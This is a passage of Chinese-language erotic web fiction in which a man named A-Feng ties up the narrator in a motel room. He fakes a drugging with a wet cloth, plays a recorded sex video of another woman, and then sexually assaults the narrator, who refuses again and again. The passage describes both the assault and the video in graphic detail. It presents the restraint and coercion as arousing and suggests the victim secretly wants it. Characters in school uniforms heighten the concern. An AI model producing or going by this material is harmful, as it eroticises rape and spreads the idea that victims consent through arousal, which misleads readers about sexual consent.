图片载入中

为了爱(06-09)

特大字】 【大字】 【中字】 【小字

6。“醒醒。”阿峰的声音。我又睡着了啊,酒精真可怕,以后我真的再也不敢碰酒了。“到家了吗?”我模模煳煳的睁开眼,却感觉有些怪异,毕竟现在位于的地方怎么看也不像是在计程车里,但由于还没清醒,脑袋不太好使,所以我也不太确定自己在甚么地方。“怎么可能,你又没跟我说你家在哪,我也没问,也不想问,也不打算要问。”

阿峰奇怪的回话让我完全清醒了过来,这才发现自己现在身处的是疑似汽车旅馆的房间里,更糟的是,我的双手双脚都被绑了起来,全身牢牢个固定在椅子上。“咦!怎么会这样!”我惊唿。“既然都敢参加这种联谊了,想必你也不是甚么把贞洁看得比甚么都还重要的传统女性吧。”阿峰一边说一边往我逼近。“只是,比起其他人喜欢单纯的发泄肉欲,我更喜欢进行潜能开发。”“啊?甚么东西?”“美丽的结果令人惊艳,但若是有着丑陋的开始那才更加值得赞叹,化腐朽为神奇才是真正的鬼斧神工。要做到,首先要具备过人的识人能力,要能从砾石遍部的溪谷中挑出璞玉。要通晓琢磨的技艺,才能够在不伤本体的状况下磨去外面包覆着的杂质。最后,还要有鉴赏的心,才能够彻底体会艺术品的价值。而你,吉川凌,虽然已经被打磨一半了,但是还有好大一部分尚未显露出来,而我,就要激发出你那未知的潜能,让你展露出真实的样貌。隐藏在你楚楚可怜,如此惹人怜爱的外表下,究竟住着一只多么饥渴的野兽,我要彻底地辩清它的面貌!我要摸遍你的稚气未脱却又充满魅力的身体,找出每一处的性感带,点燃你心中的欲火,再让他熊熊燃烧,这把火将永不止息,只会越加勐烈,你等着看好了,过了今晚,你将完全不一样!”这…这三百字以上的独白,这变态的论调,好熟悉啊!该不会…?不,不可能吧,我努力的把脑还中浮现的那个身影给抹掉,不可能跟她有关系吧,不会吧,不会吧,但看着眼前的阿峰,真的很自然地就会想到她啊!看着不想相信直觉得我,阿峰的嘴角微微的上扬──幅度十分邪恶──然后开口:“你发现了啊,小凌,我正是你亲爱的林亭芸的双胞胎弟弟,林明峰。你的事情我可是一清二楚呢,不管在甚么地方都能够被推倒,真是淫荡啊。俗语只有说朋友妻不可戏啊,可没规定到姐姐的女朋友喔。既然我们有这份姻缘能够相遇,不做点甚么就实在太浪费了不是吗?”难怪他一开始就知道我么名字!这也说明了为什么他给我的好熟悉的感觉!

糟了,这样的发展很不妙啊,我的贞操现在真的面临危机了啊,我不要,我不要,我不要被男人上啊,就算在怎么欲求不满,我也不要被男人干啊!好恶心,超级恶心的啊!我不要,我不要!我是男的啊,被学姊怎样都没关系,但,但,被男人怎样都有关系啊,我得做些甚么来抵抗才行,但现在手脚都使不上力,只好智取了!我故作冷静,开口说:“哼,那你想必是要胁我,说如果我不从你,就要把我去联谊的事情向学姊说。没在怕的啦,就看她比较能接受贪玩的学妹还是爱玩女学生监禁的弟弟!”你的伎俩都被我看破了,看你还能怎么办!“威胁?”阿峰摇摇头,然后说:“这种俗滥的剧情我若是照本宣科的话未免也太有辱绅(ㄅㄧㄢˋ)士(ㄊㄞˋ)之名了。而且,如同我很了解我姊有多变态一样,我姊也是最了解我有多变态的人。只是,我可不能让她知道我对她的女朋友下手了。”“那。。。那就收手吧,我甚么都不会说,真的。”仿佛抓住汪洋中的一条船一般,我赶紧哀求。阿峰再度摇摇头:“不不不,我有更好的方法,我要你不说,是因为不能说,因为你完完全全的乐在其中,彻彻底底地享受待会会发生的所有事情。当你再见到她时,心中只有满满的歉疚,喉头将被愧对塞满,今晚的事情你将绝对绝对无法说出。”这家伙变态的无可救药了!知道了沟通无效后,我努力地想动上四肢,想靠蛮力挣脱眼前的贞操危机。“哼,没可能的。你就慢慢试吧。”他冷冷地笑着,然后继续说:“同时,就让你见识见识我的手段吧。”他先拿出一罐不知名的溶液,然后用它浸湿了一块白布,接着他就拿布放在我的鼻前。糟了!一定是春药!我拼命的扭开头,并且努力闭气,但僵持一阵子后还是忍不住换了气,完蛋了!(傻瓜。林明锋暗自窃笑。你一定以为我用了春药吧,这只是沾了水的布而已,但这可是摧毁你理智高墙的巨型投石车。被下药了,所以我是身不由己的,自己才没有那么色,都是春药害的。这样的想法给了你所有淫荡行为的借口,自以为是的被害者啊,认为自己是最无辜、最可怜的存在?我这条手巾才不是造成你淫荡行为的反应物,它充其量不过是加快反应速度的催化剂啊!)“王瑜涵、杨婷华、徐敏和许庭苇,你对谁的裸体最感兴趣?好好答说不定我会放过你。”一边将白布拿回去放,背对着我时,阿峰开口问。我赶紧说:“许庭苇!我一想到她就硬…啊,不对,一想到她我全身就热了起来,她那女王的样子,那睥睨众生的表情好吸引人啊!如果可以选择要投胎转世成甚么,我想当她的内裤,一想到可以那么贴近她,又能被她坐在身上我就忍不住兴奋得发抖!”“你这家伙被老姊搞得连思想都变得很变态了啊,得好好再教育才行。”他贼贼的笑着,然后说:“但由于你很诚实,我就给你点奖励,就让你看看许庭苇的激情演出吧!”说话的同时,他拿出一块光碟,然后就用墙上的42吋大电视放了出来首先映入眼帘的,是许庭苇漂亮的脸蛋,但挂在她脸上的是我不曾见过的困惑神情,此时的她正用手戳着一根已经软掉的肉棒。“这么软怎么放得进去啦。”她说,语调中带着一些些的不满以及更过更多的渴望。“哼,你这小淫娃。”阿峰的声音。“刚刚才初尝男人的滋味,现在就饥渴成这副德性了啊!男人跟女人可不一样,射了之后可要休息一阵子呢。”他说谎!我的直觉这么告诉我,如果是许庭苇的话,我很有自信绝对可以一射再射,射了又射,直到精尽人亡为止。说话的同时,画面晃动,录影用的数位相机被阿峰放到了床头柜上,许庭苇和他都全身入了镜头。“我要睡了。”阿峰一边说,一边拉上了被子盖住身体,翻过身去背对着许庭苇。看着这样的阿峰,许庭苇脸上透露出了一些些的惊讶,大概是没想过总是位于人群核心的她竟然会被这样弃之不顾。唔,这种展开,莫非这就是传说中的放置PLAY?“哼,那我也要睡了。”许庭苇赌气的说,也依样画葫芦地拉起了被子盖住身体,在她动作的同时,透过萤幕,我看到了她双腿中间仍不断流出或着鲜红的白浊液体。许庭苇的脸正对着镜头,但娇俏的脸蛋上毫无睡意,双颊上的潮红透露着满满的春情。躺了好一阵子,她的身子开始不安地扭动起来。盖着被子所以我无法确定,但我猜她一定正在用纤细白皙的手指玩弄自己的密处,好发泄心中满满的渴望弄了好一会儿,她脸上渐渐失去陶醉的神情,取而代之的是越来越多的饥渴,她开始扭过头去望阿峰的状况,然后便发现阿峰似乎睡得很安稳,身子正稳定的随着唿吸上下起伏着。她头再转回来时,漂亮的唇抿了起来,似乎有点挣扎,最后,她还是开了口:“阿峰,你硬了没啦?”“我累了,我要睡觉。”阿峰嘟哝似的声音。听了阿峰的话,许庭苇露出了一副被责备的神情,有些委屈地缩起了身子。安分了好一会儿后,她又开始不安地扭动起来,但这次,她看起来忍无可忍了“阿峰!”她大叫,同时,她拉开了被子,把阿峰压在了床上。“怎样才能让它变硬啦!我…我还…还好…好想要。”最后几个字她是带着很难为情的神情说出,似乎自己也没办法接受自己嘴里竟然会说出这样的话。“你很烦耶,我就说了没办法了啊。”说话的同时,他的眼睛还是闭上的果然是假装的,他装睡是怕要是看了许庭苇火辣的身体就会硬起来。这家伙想让许庭苇主动,想显得一副“是你逼我的啊,我可是一点也不想做,我是个满足你那无底洞性欲的大好人啊”。“真的没办法了吗?”许庭苇说,声音接近哭喊。阿峰睁开了眼,但却盯着墙壁,不敢正眼瞧许庭苇。“舔它吧,给点刺激说不定还可以再来一次。”“舔?我不要!那是尿尿的地方耶,脏死了。”“嫌它脏?刚刚不知道是谁被它搞得要死要活。既然你不愿意那就算了吧,就就让我睡吧。”说完,阿峰又闭上了眼。看着又呈死鱼状态的阿峰,许庭苇脸上又充满了犹豫的神情,好一阵子后,她结结巴巴的开口:“真…真…真的能…能变硬?”“我也不知道,但没别的办法了。”阿峰说。深唿吸一口气后,许庭苇转过身子,仍是趴在阿峰身上,但头则是面对着仍然疲软的肉棒。然后,她伸出了玉手,轻轻地握住肉棒,然后就伸出了舌头舔上了阿峰的肉棒。可能是心里还是有些障碍,许庭苇她避开了龟头,从还被包皮包覆着得柱身开始舔起,她努力地的将舌尖与肉棒的接触维持在最小的面积,然后上上下下地舔着。就这样过了一回儿,眼看着肉棒仍然疲软,她的欲望渐渐战胜了羞耻心,不再只是以舌尖而已,而是将整条红舌都贴了上去,鲜嫩柔软的舌头像条蛇一样的绕着肉棒轻轻打转着。然后再挣扎了好一阵子后,她的舌还是缓慢地爬上了龟头也许是上面仍充满了精液的腥味,许庭苇的脸不悦的皱了起来,但她还是缓慢地舔着。虽然脸上是满满的无奈,但她像是在舔冰棒一样的动作还是撩人到不行,实在太性感了。好一阵子后,阿峰开口:“这样不行呢,含住它吧。”这家伙此时一边贼笑,一边用左手用力的捏着自己的脸,用痛觉来压抑欲望!他可真是卑鄙。“呜。”许庭苇发出了委屈的哀鸣,但还是照做,樱桃小嘴微微张开,将整颗龟头吃进了嘴里。在含进了龟头后,她停了下来好一阵子,也许是在做足心理准备。之后,深唿吸一口气后,她就继续将肉棒吞进嘴里。在半条肉棒消失在视线后,可能是感到无法再继续了,她就抬起头,让龟头从见天日。阿峰摀住自己的嘴巴,刚射过精的他,那里是非常敏感的,他应该差一点就叫出来了吧。再换一次气后,许庭苇又再度张嘴将肉棒吃下,然后吐出,来来回回,来来回回,很快的,整枝肉棒都因为沾满她的唾液而水水亮亮的。尽管阿峰其实已经爽到不行了,但许庭苇可不知道这样的事情,她只能继续卖力的吞吐着阿峰渐渐有精神起来的肉棒。上上下下,上上下下,看着肉棒越来越硬,许庭苇的动作也越来越快,虽然有好几次都因为用力过勐,肉棒好像深入到了喉间,那感觉应该颇不舒服,但挂在她脸上的神情还是好专注好专注。呜,竟然可以让这样的女孩如此臣服于其下,阿峰我忌妒你啊!看肉棒已经很硬很硬了,许庭苇停下了动作,但阿峰立刻开口:“你停下来它就又会软掉啰。”“那到哪时候才行啦!”许庭苇有些生气。“快了快了,对了,改用你的大胸部来乳交好了,对于让它提起精神应该很有帮助吧。”虽然满脸的不情愿,但许庭苇还是照做了,阿峰不再仰躺在床上,而是坐了起来,许庭苇则就趴在他的脚上,将肉棒放在D罩杯大胸部的中间,然后用力夹紧。“动啊!”阿峰下命令,许庭苇不敢不从,只好上下晃动身子,饱满的大胸部就这样上下抖动着,夹在其中的肉棒能被如此柔软的包覆着,一定舒服极了吧“再快点。”阿峰说,许庭苇便加快速度,除了动着上半身外,她干脆直接用双手捧起自己的大胸部,然后上下晃动,这画面真的太赏心悦目了,而阿峰在这样的刺激下,身子渐渐不自然的扭曲起来。不会吧?我在心中暗自担忧。没想到这对未来的猜想很快就化为现实。冷不防地,阿峰发出了被推至顶峰的呻吟,然后,又浓又稠的精液就喷发了出来,许庭苇来不及闪避,她的脸便首当其冲,鼻子、嘴唇、脸颊,甚至还有头发都沾到了不少。但比起被颜射,许庭苇更在意肉棒又要疲软这件事。“怎么会这样…”她的语气充满着失落。此时,挂在阿峰脸上的贼笑又更深了。他开口:“当然不会这样。”说话的同时,他握着尽管刚射精却依然硬挺的肉棒站了起来,然后把许庭苇压在身下,将她的腿大大的呈M字型张开后,就一口气插了进去,肉棒直直地进入了阴道深处。也许是期待太久,又才刚堕入了失望的深渊,这一突入可不得了,许庭苇口中不但发出了娇俏的呻吟,双眼几乎翻白,全身兴奋地抖动,似乎快要高潮了看着许庭苇已经非常进入状况了,阿峰便也不搞九浅一深之类的花样,便直接用超快的频率抽送着,大力的轰炸着许庭苇的小穴。“啊啊啊,会死掉啊,会死的啊!”许庭苇美目微闭,口中发出意义不明的喊叫,双手紧紧地抓起洁白的床单。随着阿峰的一进一退,她浑圆的乳房便跟着上下抖动,上面的乳头艳红的看起来好可口。阿峰的手自许庭苇的膝盖往下滑,抽送的同时手一边抚摸着她白皙的大腿,像是在抚弄一件雕琢完美的玉器,脸上则挂着满足的表情,但与其说是因为能够跟许庭苇这样的美女做爱,不如说是他在享受着许庭苇臣服于其下的感觉“啪滋啪滋”的淫靡声响自两人结合的地方不间断地传来,配合着越来越大声地呻吟,组成一支令人脸红心跳到不行的交响乐曲。“恩亨──恩亨──”“嗯嗯嗯,好舒服,好舒服。喔喔喔──”“呜──顶到那里了,好深喔。”除了不曾间歇的喘息声外,许庭苇似在发表感想似的,嘴里不断吐出话语,这些淫声秽语让阿峰更加兴奋,抽送的速度快得好可怕。再用正常体位快速抽送了五六分钟之后,许庭苇被推上了顶峰。“啊啊啊啊啊啊,到了,到了。”她放声大叫,腰不自然的拱了起来,脚掌也成奇怪的幅度弯曲着,会不会抽筋啊,看得我都不禁担心了起来。阿峰拔出肉棒,带着浅浅的笑看许庭苇。此时的她正沉浸在无上幸福里,胸口剧烈起伏着,看起来喘到不行。然后他开口:“真是卑鄙啊,就只有自己一个人舒服,我可是都还没爽到呢。”说完,他伸出了双手,把许庭苇白皙的身子翻了过来,然后将她的细长的腿弄成跪下的姿势,接着就握着硬挺至极的肉棒对着许庭苇高高翘起的白皙臀部“不要,不要,不要从后面啦,很丢人,好丢人喔。而…而且我好累了喔,休息一下好不好。”许庭苇低声求饶。“就跟你说我还没舒服啊!”阿峰一边说,身子一边往前一顶,火热的肉棒又整枝没入了许庭苇体内。“啊──”许庭苇发出哀鸣。尽管是如此惹人怜惜的叫声,但阿峰却完全没有怜香惜玉的意思,他双手扶着许庭苇得纤腰,开始勐力的前后抽送着,速度比起刚刚还要再快上一个级别“慢点,慢点啦,太有感觉了,会死掉啊──”许庭苇放声求饶,手紧紧的抓握住床单。刚高潮过的她,身子极为敏感,根本无法承受阿峰如排山倒海一般的勐攻。又抽差了好一阵子后,许庭苇的哀鸣才又再度转成呻吟,她开始配合起阿峰的动作,前后前后的动起了丰满的翘臀去迎合阿峰的每一次冲击。“呜,顶到了,顶到最深的地方了。”她满足地喊着,同时,她伸直了手,身子离开了床垫,丰满的双乳因为少了阻碍便开始随着两人的动作而激烈的晃动着。但这只是一眨眼的事情,因为下一秒,阿峰就整个人趴在了许庭苇的身上,双手伸至她的胸前,手掌抓握住她的美乳,开始用力的揉捏,不时又搓又拉的玩弄着许庭苇挺立的小樱桃。“啊──别这样,好痛!”许庭苇说,但从她的语气及表情里,我却感觉到她十分的享受这伴随着痛苦而来的快感。仅管手部正进行着如此复杂的动作,但阿峰下半身前后抽送的速度却不曾减缓,只是他不再使用整根拔出再整根插入的大动作,而是小幅度的前后晃动,用最高的频率去冲击许庭苇的花心。“怎样?舒服吗?你这头母猪,说你很爽啊!”阿峰一边贼笑一边开口“好爽,好舒服,再继续,再继续!”许庭苇热烈的回应,看来自尊甚么得已经被她抛在脑后了。“哼,真是一个欠干的婊子,就来个更刺激的吧!”阿峰说话的同时,揉着许庭苇右边奶子的手转移目标,伸到了她的私处,先是在她有修剪过、呈三角形的黑森林上轻轻搔弄。然后,他伸出了食指,开始搓弄着许庭苇的阴蒂。“啊──!”许庭苇放声叫着,眼睛睁得好大好大,最敏感的位置被这样玩弄着,她便只能用越来越高亢的叫床声回应着阿峰的抚弄。又弄了好一阵子后,阿峰的舌头轻轻地舔上了许庭苇的小耳垂,也许那里是她的敏感带吧,发出“恩哼──”声音的同时,她脸上的表情好满足好满足。之后许庭苇便将头转了过来,两个人先是互相吸吮着彼此的嘴唇,发出“啧啧啧”的声响,然后双唇才紧紧地贴着,似乎在默默地进行着法国式的深吻。两人分开的时候,中间牵了一条透明的丝线。此时许庭苇的双颊红红的,漂亮的眼睛轻轻闭着,又长又浓密的睫毛微微的抖动,她的嘴微微的张开,露出洁白的贝齿,模样似乎是在回味着刚刚的吻。阿峰不就是个死强暴犯而已吗?为什么现在画面唯美的像是偶像剧的场景啊!还有,为什么会有脸部特写,阿峰你是在满屋子都摆满了摄影机,然后还细心的在做剪辑吗?你变态的程度也实在太夸张了吧!在我默默的吐槽的同时,画面中的阿峰又加快了抽送的速度。可能是又高潮了,许庭苇失去了撑起身子的力量,趴在被她的香汗和蜜汁溅湿的床上,并一边发出悦耳动听的呻吟。阿峰抽出了了肉棒,接着就又把许庭苇整个人翻了过来,然后两人便再度用正常体位紧紧交缠,阿峰伸手抱住了许庭苇,许庭苇的双手也环在阿峰的脖子上,同时,她修长的美腿也缠上了阿峰的腰,配合着阿峰的突入抽出而夹紧放松“呜──好舒服,那里好有感觉喔。”许庭苇愉快地说着。仿佛是在回应着许庭苇的话语,阿峰将肉棒插的更为深入,直直地冲撞着许庭苇的花心。“顶到了,顶到了,要死了啊!”她大声的喊道。此时,阿峰终于收起了玩世不恭的态度,完完全全的投入在两人的性事之中。他埋头苦干着,盯着许庭苇完美身子的眼神好专ˋ物,嘴里低声的吼着:“我肏烂你的穴,我肏!我肏!我肏啊──”少掉了算计与被算计,丢开了思考与理智,抛下了自尊与虚荣,现在在画面中的两个人很单纯的就只是交配中的动物,渴求着彼此,需要着彼此。他们借由对方才能够得到更多更多的快乐,并透过两人的一次次结合,一步步地走向幸福的顶峰。许庭苇满脸陶醉,彻底地沉浸在快感之中,她的指尖在阿峰称不上厚实的背上留下了一道道的红线,疯狂地喊着:“要死了!要死了…了!再这样下去一定会死啊啊啊啊啊!”随着许庭苇离不知道第几次的高潮越来越近,我看出阿峰也快要到极限了。他嘴中发出的喘息声变得越来越沉重,动作也越来越大,有些甚么东西正要爆发出来。在面临喷发边缘时,他将嘴靠在许庭苇的耳朵旁边,低声地说:“一起高潮吧。”语气中有着我完全无法想像的温柔。“嗯。”许庭苇笑着点头,她的眼角积蓄着一些些的泪水,但怎么看都不像是因为失身而流的,虽然很不想承认,但感觉起来比较像是因为体会到了幸福而喜极而泣。之后两人又再度拥吻,紧贴着对方到几乎没有距离的地步。很突然的,阿峰的臀停了下来,同时,许庭苇的手也加重了搂着他的力道,脚也勾的好紧好紧直到看见两人的交合处开始涌出子宫容不下的白浊液体后,我才明白他们已经双双到达了顶峰。最后的激情断得很突然,实在是个有点突兀的结束。但将目光从萤光幕上转开,回到了现实之后,我理解到了有些事情还没有结束。比如说──我的夜,不就才刚要开始吗?7。啪兹。阿峰切掉了电视,然后转过头来看着我,并露出邪邪的笑容开口说:“我亲爱的吉川凌小妹妹,看完影片后有甚么感想啊?是不是开始对接下来要发生的事情充满期待啊?”“期你老母!”我很火大。“快放开老子──啊!不对,快放开老娘啊!”

的确,许庭苇好像从跟阿峰的做爱中得到了至高无上的幸福,在阿峰的一波波攻势中被推向了快乐的顶峰,这些事情都是在影片中清楚可见的。但,她很爽干我屁事啊!被干,也许很舒服,也许很快乐,但这不代表我就想被干啊!我绝对绝对绝对绝对不要被男人上啊!虽然现在是这副样子,但骨子里的我可是道道地地的男子汉啊。被肏、被干、被上、被搞甚么的,光想就让我觉得恶心至极,我绝对不要让事情变成这样子啊!看着惊慌害怕的我,阿峰脸上的笑容又更深、更邪恶了。“虽然这么说,可是你的模样看起来可是一点说服力都没有喔。”“呜──”我发出一声哀鸣。一定都是春药害的啦,现在的我身子好热好热,全身都好痒好痒,而我亲爱的小妹妹更是呈现用“氾滥成灾”四字来形容也不过份的状态,淫水不只溅湿了内裤而已,连大腿内侧都湿漉漉的,屁股底下的椅垫好像也都湿答答的了虽然很不愿意承认,但在刚刚看他跟许庭苇的激情演出时,我也感觉到了难以用理性去压抑的性冲动。我明确地感觉到自己很需要些甚么,很渴求着甚么来满足被唤起的欲望。但是,这不代表我就想被干啊!绝对不是啊!就算在怎么想做爱,我也不要被男人上啊!绝对绝对不要啊!我知道我很色,在变成这样的身体之前,每天不打一次手枪就睡不好觉;在变成这样的身体之后,又更加严重,身体的每个部位都敏感到不行,只要被碰一下就会感到性兴奋,听到有点黄的事情就会脸红心跳一整天。在经过学姊的调教之后,一切又变个更加糟糕,现在的我除了吃饭、睡觉之──等等,不对,就连在吃饭、睡觉时,我满脑子也都是色色的东西。但,这绝对不是说我能够接受男人啊!如果非要做爱不可,我宁愿选择欧巴桑也不要跟男人啊!不管是谁,只要是带把的,我绝对不可能有想跟他搞在一起的念头啊!“我不管啦!快放开我!我要回家!”我哭喊着。阿峰对我的请求摆出一副不在乎的态度,他一边用小指头挖着鼻孔一边说:“你哪时候产生了这种诉求会被接受的幻觉?想说服我放弃到手的肥肉至少也该说些比较有说服力的理由吧。”我赶紧开口:“恩,那个,我大姨妈来了。”“少唬烂了,那是六天前的事情了,现在正安全呢。”受惊的我不禁脱口而出:“咦?你怎么会知道!”“老姊写的‘小凌的秘密百科’有写啊,上面还注明了你全身的性感带呢。”

呜,学姊,你对我的爱现在害惨我了啦!但可不能就此放弃啊,我赶紧展开下一个对策。在挤出假笑后,我开口:“那个,阿峰,这种事情怎么想都是该跟喜欢的人做嘛,所以,我看我们这素昧平生的两人还是就纯粹聊喝咖啡、纯粹聊个天吧!”

阿峰则带着开朗的笑容回应:“没关系,感情是可以培养的,说不定在做了之后,你会爱上我喔。”这家伙不仅变态,还很自恋!“ㄜ,我超想看许庭苇被破处的影片啦,放给我看好不好。”我使用缓兵之计。“那可不行,驯服她的过程可是商业机密呢。”阿峰摇摇头然后继续说:“而且,你马上就可以体会到了喔。”说完,他走近了我的身边然后开口:“讲够了吧,就让我们开始吧!”

“不要!不要!不要!不要碰我!”我大声地喊着,心理慌张害怕到不行阿峰无视我高分贝的叫喊,伸出了手袭向了我的胸口,隔着制服和内衣,开始揉起了我的小胸部。异样的感觉自胸前直冲脑门,而且不知道是差在力道还是纯粹因为由他人代劳的关系,产生的快感比起自己来时还要强烈不少。唔,有点舒服啊。“真是保守的尺寸啊。”揉上好一阵子后,他发表感想。“既然不合您的胃口,就请您高抬贵手吧。”我赶紧求饶。“但换换口味也不错。”他笑着说,同时,双手用力的一掐。“痛痛痛痛!”我大叫,但从胸口传来的不只是痛觉而已,还伴随着一丝丝的快感,我感到我的身子又更热了。呜,怎么连被虐待都会感到舒服啊,难不成我是被虐狂?在我对自我感到质疑的同时,阿峰趁人之危的一颗颗解开了我制服的钮扣,等我回神过来时,连胸罩都已经被脱了下来,现在我的胸口已经毫无防御力可言结束了手边的工作后,阿峰退了一步,双手交叉在胸前,用观赏艺术品的眼神细细地打量我,好一阵子后,他开口:“小归小,但形状还蛮好的嘛。”

他越看越满意,但我则是越来越着急。怎么办?怎么办?谁来救救我啊!“不要为不可能发生的事情烦恼啦,不会有人来帮你的啦。”看来我的想法完全被他看透了,然后他又说:“既然摸过了,也看过了,接下来就是尝尝味道如何啰!”“不要!不要!不要!”我又放声尖叫,阿峰也如同之前一样的无视了,他走到我的面前,微微的弯下了腰,左手掐着我的小乳房,食指和拇指捏住了挺立的乳头,像是在转保险箱密码似的动个不停。同时,他的唇吻上了我的右乳,他轻轻地含住了我的小樱桃,然后伸出舌头绕着它画着圈,刺激着我敏感至极的少女胸。“啊──不要!不要!不…不要…要”我奋力叫着,但这样的行为不仅无法停下阿峰的动作,也停不下阵阵的快感自胸口不断传来。虽然很不愿意承认,但真的好舒服啊。在舔了好一阵子后,他开始加上吸吮的动作,发出了“啧啧啧”的声响,我棉柔的小乳房被他的唇吸起,然后再放开。唔,这感觉好怪啊,女孩子的身子怎么那么软,还可以被这样吸来吸去的啊。冷不防的,阿峰微微的用力一咬,痛觉夹杂这快感直冲脑门,这刺激让我忍不住“嗯哼!”一声地发出了呻吟。呜,身体好热喔,下面好痒啊,我的手怎么被绑住了,好想要去好好的爱抚我那没人理会又湿的乱七八糟的小妹妹喔。在欲望的驱使下,我的意识渐渐模煳,理智渐渐薄弱,许多不知羞耻的想法开始一个一个的窜了出来。阿峰的嘴离开了我的胸前,然后开口问:“下面也很想要吧?”“恩。”天啊,我说了甚么,我竟然同意阿峰更进一步?“真诚实啊,就让我好好的奖励你吧!”阿峰一边说,一边将手自我的胸前移开,缓慢地滑过我平坦的小腹,然后便伸进我的黑裙中,开始隔着小裤裤轻轻的抚弄我的小妹妹。呜,这步调简直跟学姊如出一辙啊!“嗯嗯嗯,喔喔,呜呜呜呜。”在阿峰的抠弄下,我嘴角渐渐无法在闭紧,开始不经意地发出阵阵呻吟。似乎是看我的反应不错,阿峰便变本加厉,左手手指开始绕着我突起的小豆打转,轻轻的画着圆,不时的会去触摸到最为敏感的阴蒂。这让我在感到快感的同时还多了份期待,现在的我不仅身体的防线已经被彻底突破,心里也一吋一吋的在失守。“你实在有够色的啊,怎么可以湿成这个样子呢?”他一边抠抠弄弄,一边说出带有羞辱意味的话,但我却没有因此而反感,心底反而很想大声附和呜,好棒阿,感觉好舒服啊!喔喔喔!好棒啊!这些话语不断的从我的心底窜出,此时我的意志力全部都是用在避免这些它们从我的嘴中熘了出去,守住这点尊严是我现在唯一的课题。我就这样维持着双手被反绑、无法动弹的姿势倍半蹲在我面前的阿峰又摸又舔、爱抚个不停。他动作的速度越来越快,我感觉到自己的心跳、唿吸也随之加速。随着时间的过去,不仅我的喘息的声音越来越大,连原本亟欲阖紧的双脚也渐渐失去了力气,一点一点的张了开来。“来,尝尝自己的蜜汁。”阿峰笑笑地说,说话的同时,他将沾满我淫水的左手食指伸进我的嘴里。狠狠咬下去吧!我的理智告诉我该这么做,但我却做不到,只能任由他的手指在我的嘴中轻轻地搅着,让淫糜的气味在我口中散开呜,身子又更热了啊!我在心中偷偷的哀鸣。也许是因为这样的念头使然,所以当阿峰伸手褪去我的内裤时,我并没有反抗,反而还有种被解放了的感觉。少了那层布的阻挡,阿峰从我的嘴中抽出他的手指,然后往我的下身袭去。他的食指和中指先是沿着我的小肉缝上下磨蹭个几回,接着就突入其中。“啊………!”强烈的快感让我不禁叫出声来。他的手指并未深入,而是在入口不远处便停了下来,然后就开始在我的小穴内轻轻的抽送着,我的大阴唇、小阴唇、小穴内的嫩肉不断因为他的触碰而产生阵阵的快感,淫水更是像泉水一般不断涌出。“不…不…不要!停下来!停下来!”我集中仅存不多的意志力将话语吐出。呜,要是他在不停下来的话,只怕我真的会再也控制不了我自己啊!喔呜喔喔喔,真的好舒服啊,比起自己DIY还要爽好几倍啊!“上面的嘴说不要,但下面的嘴好像不是这样说呢。”阿峰说话的同时,他的手指头深入到小穴的最里面,那里是连学姊也未曾到达的领域,伴随着被撑开的一丝丝疼痛,我感到了前所未有的快感冲上了脑门。“喔喔喔喔喔喔──”我不禁叫出声来,身子也随之颤抖个不停。好强烈啊,那感觉实在太好了啊!我连我是谁都快要忘记了啊!感觉只要再一下下,我就可以爬到以前从未到过的顶峰了啊!没想到,阿峰却在此时抽出了手指,连一直不停的玩弄我胸前两颗小樱桃的另一只手也停下了动作。“欸?”尽管很不愿意,但我微张的红唇还是在我能阻止前就吐出了疑问。只是阿峰并没有回应,而是在我的脚边、身后弄了弄。接着,我便很突然的发现我被松绑了。要放过我了?我做猜测,但不可否认的,我心中有一块小小的部分正感到遗憾,因为明明只要再一下子就能高潮了的说,为什么他就不能再晚一点良心发现呢。没想到,事情却再度朝出我的意料之外发展。阿峰温柔的抱起了坐在椅子上的我(还是用公主抱),然后一点也不温柔的把我丢在了铺着白色被单的床上。“欸!”深陷在柔软的床铺之中,我再度发出了疑问。下一秒,阿峰相对巨大的身躯伏在我的身上,然后继续进行对我上下其手的动作。可恶啊!这个死变态还是想要对我乱来啊!因为刚刚那短暂的停止,让我拾回了一点自尊,竟然手脚可以自由行动了,那我怎么可以不反抗呢!看拳!我在心中大吼,然后挥出我那小小的拳头,目标直指阿峰的心窝“少在这时给我装贞洁。”阿峰说,同时,他手轻轻一挥就把我用尽全力的一击给拍掉了。“你明明就很想要吧,就乖乖地顺从你的欲望吧!”他一边贼笑一边说,并更加卖力的爱抚着我全身的敏感带。“喔──”我忍不住呻吟,在他的抚弄下,我失去了反抗的力气,手脚都渐渐的无力了起来。一阵一阵的快感不断直冲脑门,我的意志就这样淹没在其中,我就只能瘫软在床上,任由他的双手在我的身上四处游走。好一阵子后,他灵活的舌头也加入了战局,从我的脖子、锁骨开始,一路滑过胸部、腋下、纤腰,来到了大腿附近。他从大腿的外侧舔到了里侧,随着他越来越接近我的小妹妹,我便感觉我的心跳、唿吸都越来越快。涌出来淫水,已经让洁白的床单上留下了一大片的水渍。这时,他又再度停下了动作。他开口:“也是时候该说了吧?”“说…说啥?”我一边喘息,一边回问。我真的觉得自己没办法跟上这家伙的思考。“这是我的第一次,请温柔一点!”他用高八度的声音把话说出。“杀小!?恶心死了!鬼才会说那种话!”这家伙自己是变态就算了,竟然把我当作同类了啊!“是吗?”阿峰的嘴角上扬到让人觉得邪恶到不行的地步,我全身的寒毛都不禁竖了起来。阿峰将全身的重量压在我的身上,我想推开他却使不上力,只能无力的捶打他那并不厚实的背部。同时,他一只手解开了自己的裤头,解放了他那早就硬至极点的肉棒,一只手则张开了我努力想闭紧的大腿。我接着便感觉到那根粗大的肉棒正顶着我的小妹妹。他开口说:“既然不要温柔,那么就是我可以粗鲁到不行啰?”语毕,他的腰用力向前一挺,长长的肉棒就这样突入了我的小穴,直至尽头“痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛呀!”我放声大叫。好痛,你他妈的真的好痛,天杀的好痛啊,被撑开了,被撑开了,要坏掉了啊,我的小小小小妹妹怎么可能容得下那种庞然大物,这简直是乱来啊!裂开来了啦,我的身子裂开来了啊!“呜…要…要坏…坏掉了啦。”我泪流满面。“喔,这么快就进入状况,连高潮时才会说出的名台词都讲出来了,你果然淫荡到不行啊。”“呜──”由于下体不断传来被撕裂般的剧痛,所以我没有力气去纠正阿峰的误会,只能不断发出哀鸣来表达我的痛苦。现在的感觉就好像有跟火热的铁棍正把我的身子穿刺起来一样,它在我的小穴中热得发烫,烧的我好难过好难过。我痛到几乎喘不过气,全身冷汗直流,双手不再试图推开他,而是紧紧地抓着床单。“哈──哈──”好痛啊,我痛苦地仰着头,大声地喘气。我不相信,我实在不相信,这么痛苦的事情许庭苇竟然会想要一做再做。怎样都好,谁来让这份痛苦少一点啊!“拔…拔…拔出去啦──”我挤出所有的力气去求饶